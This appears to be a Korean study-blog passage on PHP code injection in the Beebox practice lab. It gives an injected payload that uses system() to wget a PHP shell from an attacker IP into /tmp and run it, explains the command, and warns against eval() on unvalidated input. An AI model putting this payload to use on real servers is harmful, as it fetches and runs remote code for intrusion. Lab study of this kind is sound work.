본문 바로가기

Study records/Web hacking

[Beebox] php code Injection과 내부 침투 시나리오

 

외부 입력을 실행하는 'eval()' 함수 사용은 피해야 하며, 사용자 입력을 신뢰할 수 없는 경우 반드시 검증하고 적절한 필터링을 해야한다.

 

 

 

 

터미널창 1

 

터미널창 2

 

vi /phpshell.txt

 

 

 

 

message=test;system("wget http://192.168.56.107/phpshell.txt -O /tmp/phpshell.php;php -f /tmp/phpshell.php")

 

 

'wget http://192.168.56.107/phpshell.txt -O /tmp/phpshell.php' 명령어를 실행하여 원격 서버에서 'phpshell.txt' 파일을 다운로드하고 '/tmp/phpshell.php' 로 저장한다. 'php -f /tmp/phpshell.php'명령어를 실행하여 다운로드한 php 파일을 실행한다.

이 코드는 외부 입력을 통해 서버에서 임의의 명령어를 실행할 수 있기 때문에 매우 위험하다. 사용자 입력은 항상 검증하고, 외부 명령어 실행이 필요할 경우 입력값을 안전하게 처리하는 방법을 사용해야 한다.